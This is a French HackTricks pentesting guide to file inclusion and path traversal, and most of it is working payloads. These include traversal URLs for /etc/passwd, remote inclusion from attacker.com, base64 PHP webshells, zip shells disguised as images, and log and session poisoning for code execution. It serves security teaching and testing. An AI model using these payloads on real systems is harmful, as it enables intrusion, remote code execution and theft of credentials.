hacktricks/pentesting-web/file-inclusion

Inclusion de fichier/traversal de chemin

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

• Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
• Obtenez le swag officiel PEASS & HackTricks
• Découvrez La famille PEASS, notre collection exclusive de NFT
• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.

Rejoignez le serveur HackenProof Discord pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !

Perspectives de piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !

Inclusion de fichier

Inclusion de fichier à distance (RFI) : Le fichier est chargé à partir d'un serveur distant (Meilleur : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est désactivé par défaut (allow_url_include).
Inclusion de fichier local (LFI) : Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Aveugle - Intéressant - Fichiers LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mélangeant plusieurs listes LFI *nix et ajoutant plus de chemins, j'ai créé celle-ci:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer / pour \
Essayez également d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

Fusion de différentes listes de mots:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer / pour \
Essayez également de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Consultez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers à distance (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

séquences de traversée dépouillées de manière non récursive

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Contourner l'ajout de caractères à la fin de la chaîne fournie (contournement de : $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Cela est résolu depuis PHP 5.4

Encodage

Vous pourriez utiliser des encodages non standards comme le double encodage d'URL (et d'autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

À partir du dossier existant

Peut-être que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploration des répertoires du système de fichiers sur un serveur

Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

1. Déterminer la Profondeur du Répertoire : Déterminez la profondeur de votre répertoire actuel en récupérant avec succès le fichier /etc/passwd (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :

http://example.com/index.php?page=../../../etc/passwd # depth of 3

2. Sondez les dossiers : Ajoutez le nom du dossier suspecté (par exemple, private) à l'URL, puis naviguez de nouveau vers /etc/passwd. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de un :

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4

3. Interpréter les Résultats : La réponse du serveur indique si le dossier existe :
   • Erreur / Aucune Sortie : Le dossier private n'existe probablement pas à l'emplacement spécifié.
   • Contenu de /etc/passwd : La présence du dossier private est confirmée.
4. Exploration Récursive : Les dossiers découverts peuvent être davantage explorés pour rechercher des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichier Locale (LFI).

Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Technique de Troncature de Chemin

La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.

En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

• /etc/passwd, /etc//passwd, /etc/./passwd et /etc/passwd/ sont tous traités comme le même chemin.
• Lorsque les 6 derniers caractères sont passwd, ajouter un / (le transformant en passwd/) ne modifie pas le fichier ciblé.
• De même, si .php est ajouté à un chemin de fichier (comme shellcode.php), ajouter /. à la fin n'altérera pas le fichier qui est accédé.

Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

• Utilisation de segments de points et de caractères supplémentaires : Les séquences de traversée (../) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
• Détermination du nombre de traversées requis : Par essais et erreurs, on peut trouver le nombre précis de séquences ../ nécessaires pour naviguer vers le répertoire racine puis vers /etc/passwd, en veillant à neutraliser toutes les chaînes ajoutées (comme .php) mais en maintenant le chemin souhaité (/etc/passwd) intact.
• Commencer par un répertoire fictif : Il est courant de commencer le chemin par un répertoire inexistant (comme a/). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.

Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces de contournement de filtres

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusion de Fichier à Distance

En php, cela est désactivé par défaut car allow_url_include est Off. Il doit être On pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si, pour une raison quelconque, allow_url_include est activé, mais que PHP filtre l'accès aux pages web externes, selon cet article, vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir une RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} Dans le code précédent, le +.txt final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par .txt, donc la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté). {% endhint %}

Un autre exemple ne utilisant pas le protocole php:// serait:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Élément racine Python

En python dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Il s'agit du comportement prévu selon la documentation :

Si un composant est un chemin absolu, tous les composants précédents sont jetés et le joint continue à partir du composant de chemin absolu.

Répertoires de liste Java

Il semble que si vous avez une Traversée de Chemin en Java et que vous demandez un répertoire au lieu d'un fichier, un listing du répertoire est retourné. Cela ne se produira pas dans d'autres langages (à ma connaissance).

Top 25 paramètres

Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (de lien):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant les enrobages et protocoles PHP

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :

• Filtres de chaîne:
• string.rot13
• string.toupper
• string.tolower
• string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
• Notez que ce filtre a disparu des versions modernes de PHP
• Filtres de conversion
• convert.base64-encode
• convert.base64-decode
• convert.quoted-printable-encode
• convert.quoted-printable-decode
• convert.iconv.* : Transforme en une autre codification (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de toutes les codifications prises en charge, exécutez dans la console : iconv -l

{% hint style="warning" %} En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui pourrait être utile pour écrire du texte arbitraire ou rendre un processus d'inclusion de texte arbitraire. Pour plus d'informations, consultez LFI2RCE via php filters. {% endhint %}

• Filtres de compression
• zlib.deflate : Compresse le contenu (utile pour exfiltrer beaucoup d'informations)
• zlib.inflate : Décompresse les données
• Filtres de chiffrement
• mcrypt.* : Obsolète
• mdecrypt.* : Obsolète
• Autres filtres
• En exécutant var_dump(stream_get_filters()); en PHP, vous pouvez trouver quelques filtres inattendus :
• consumed
• dechunk : inverse le codage chunked HTTP
• convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} La partie "php://filter" est insensible à la casse {% endhint %}

Utilisation des filtres php comme oracle pour lire des fichiers arbitraires

Dans ce post est proposée une technique pour lire un fichier local sans avoir la sortie renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant les filtres php comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour provoquer une exception php.

Dans le post original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :

• Utilisez le codec UCS-4LE pour laisser le caractère de tête du texte au début et augmenter la taille de la chaîne de manière exponentielle.
• Cela sera utilisé pour générer un texte si grand lorsque la lettre initiale est devinée correctement que php déclenchera une erreur
• Le filtre dechunk supprimera tout si le premier caractère n'est pas un hexadécimal, donc nous pouvons savoir si le premier caractère est hexadécimal.
• Cela, combiné avec le précédent (et d'autres filtres en fonction de la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous effectuons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale provoquera une erreur php.
• Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un a par exemple car si nous appliquons 6 de ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne le supprime pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
• En utilisant d'autres transformations comme rot13 au début, il est possible de divulguer d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hexadécimale).
• Lorsque le caractère initial est un chiffre, il est nécessaire de l'encoder en base64 et de divulguer les 2 premières lettres pour divulguer le chiffre.
• Le problème final est de voir comment divulguer plus que la lettre initiale. En utilisant des filtres de mémoire d'ordre comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l'ordre des caractères et d'obtenir dans la première position d'autres lettres du texte.
• Et afin de pouvoir obtenir davantage de données, l'idée est de générer 2 octets de données indésirables au début avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivoter avec les 2 octets suivants, et supprimer les données jusqu'aux données indésirables (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à ce que vous atteigniez le bit désiré à divulguer.

Dans le post, un outil pour effectuer cela automatiquement a également été divulgué : php_filters_chain_oracle_exploit.

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder respectivement aux descripteurs de fichiers 0, 1 et 2 (pas sûr de comment cela pourrait être utile dans une attaque)

zip:// et rar://

Téléchargez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et y accédez.
Pour pouvoir abuser du protocole rar, il doit être activé spécifiquement.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Le schéma data:// permet d'inclure des données directement dans une URL, ce qui peut être exploité pour exécuter du code malveillant ou afficher des informations sensibles.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre charge utile dans les paramètres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que include pour le chargement de fichiers. L'extrait de code PHP fourni ci-dessous montre la création d'un fichier .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit être exécutée :

php --define phar.readonly=0 create_path.php

À l'exécution, un fichier nommé test.phar sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).

Dans les cas où la LFI se contente de lire des fichiers sans exécuter le code PHP à l'intérieur, à travers des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), une tentative d'exploitation d'une vulnérabilité de désérialisation pourrait être envisagée. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole phar.

Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar, veuillez consulter le document lié ci-dessous :

Guide d'Exploitation de Désérialisation Phar

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Plus de protocoles

Consultez plus de protocoles à inclure ici:

• php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichier)
• file:// — Accéder au système de fichiers local
• http:// — Accéder aux URL HTTP(s)
• ftp:// — Accéder aux URL FTP(s)
• zlib:// — Flux de compression
• glob:// — Trouver des chemins correspondant à un motif (ne renvoie rien d'imprimable, donc pas vraiment utile ici)
• ssh2:// — Secure Shell 2
• ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)

LFI via 'assert' de PHP

Les risques d'Inclusion de Fichier Local (LFI) en PHP sont particulièrement élevés lorsqu'il s'agit de la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela pose particulièrement problème si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais non correctement désinfectée.

Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire de la manière suivante :

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter cela et lire le contenu des fichiers, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :

' and die(system("id")) or '

Il est important de encoder ces charges utiles en URL.

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !

Perspectives de Hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en constante évolution grâce aux actualités et aux informations en temps réel

Dernières Annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Traversée de Chemin PHP à l'Aveugle

{% hint style="warning" %} Cette technique est pertinente dans les cas où vous contrôlez le chemin du fichier d'une fonction PHP qui va accéder à un fichier mais dont vous ne verrez pas le contenu (comme un simple appel à file()) mais le contenu n'est pas affiché. {% endhint %}

Dans cet article incroyable, il est expliqué comment une traversée de chemin à l'aveugle peut être exploitée via le filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.

En résumé, la technique utilise le codage "UCS-4LE" pour rendre le contenu d'un fichier si volumineux que la fonction PHP ouvrant le fichier déclenchera une erreur.

Ensuite, pour divulguer le premier caractère, le filtre dechunk est utilisé avec d'autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.

Fonctions qui pourraient être vulnérables : file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (cible uniquement en lecture avec ceci), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l'article mentionné !

LFI2RCE

Inclusion de Fichier à Distance

Expliqué précédemment, suivez ce lien.

Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est vulnérable à une LFI à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à /var/log/apache2/access.log ou /var/log/nginx/access.log, définir à l'intérieur de l'agent utilisateur ou à l'intérieur d'un paramètre GET un shell PHP comme <?php system($_GET['c']); ?> et inclure ce fichier

{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour le shell au lieu de simples guillemets, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP générera une erreur à cet endroit et rien d'autre ne sera exécuté.

Assurez-vous également d'écrire correctement la charge utile ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième opportunité. {% endhint %}

Cela pourrait également être fait dans d'autres journaux mais soyez prudent, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire le Shell. L'en-tête authorisation "basic" contient "utilisateur: mot de passe" en Base64 et est décodé à l'intérieur des journaux. Le PHPShell pourrait être inséré à l'intérieur de cet en-tête.
Autres chemins de journaux possibles:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Envoyez un e-mail à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l'inclure dans le courriel de l'utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

1. Téléchargez beaucoup de shells (par exemple : 100)
2. Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être forcé en brut) et $FD le descripteur de fichier (peut également être forcé en brut)

Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile du shell dedans (par exemple : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Via téléchargement de fichier Zip

Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via sessions PHP

Vérifiez si le site web utilise la session PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans des fichiers /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez le LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa

Via vsftpd logs

Les journaux du serveur FTP vsftpd se trouvent à /var/log/vsftpd.log. Dans le scénario où une vulnérabilité d'inclusion de fichier local (LFI) existe et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :

1. Injectez une charge utile PHP dans le champ du nom d'utilisateur lors du processus de connexion.
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

Comme le montre cet article, le filtre PHP base64 ignore simplement Non-base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via filtres php (aucun fichier nécessaire)

Ce writeup explique que vous pouvez utiliser des filtres php pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via une erreur de segmentation

Téléchargez un fichier qui sera stocké de manière temporaire dans /tmp, puis dans la même requête, déclenchez une erreur de segmentation, et alors le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via le stockage de fichiers temporaires Nginx

Si vous avez trouvé une inclusion de fichier local et que Nginx est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une inclusion de fichier local même si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans les données POST multipart, PHP va activer la session pour vous. Vous pourriez en abuser pour obtenir une RCE :

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via les téléversements de fichiers temporaires dans Windows

Si vous avez trouvé une inclusion de fichier local et que le serveur fonctionne sous Windows, vous pourriez obtenir une RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une inclusion de fichier local et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir une RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Divulgation de chemin

Si vous avez trouvé une inclusion de fichier local et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure comporte des marques PHP, vous pouvez essayer de contourner cette vérification avec cette Condition de Course :

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via attente éternelle + force brute

Si vous pouvez abuser de l'inclusion de fichier local pour téléverser des fichiers temporaires et faire en sorte que le serveur suspende l'exécution PHP, vous pourriez ensuite forcer les noms de fichiers pendant des heures pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Vers une erreur fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour provoquer cette erreur).

Je ne sais pas à quoi cela peut servir mais cela pourrait être utile.
Même si vous provoquez une erreur fatale en PHP, les fichiers temporaires PHP téléversés sont supprimés.

Références

• PayloadsAllTheThings\
• PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !

Perspectives sur le piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités sur le piratage en temps réel
Restez informé du monde du piratage à rythme rapide grâce à des actualités et des informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !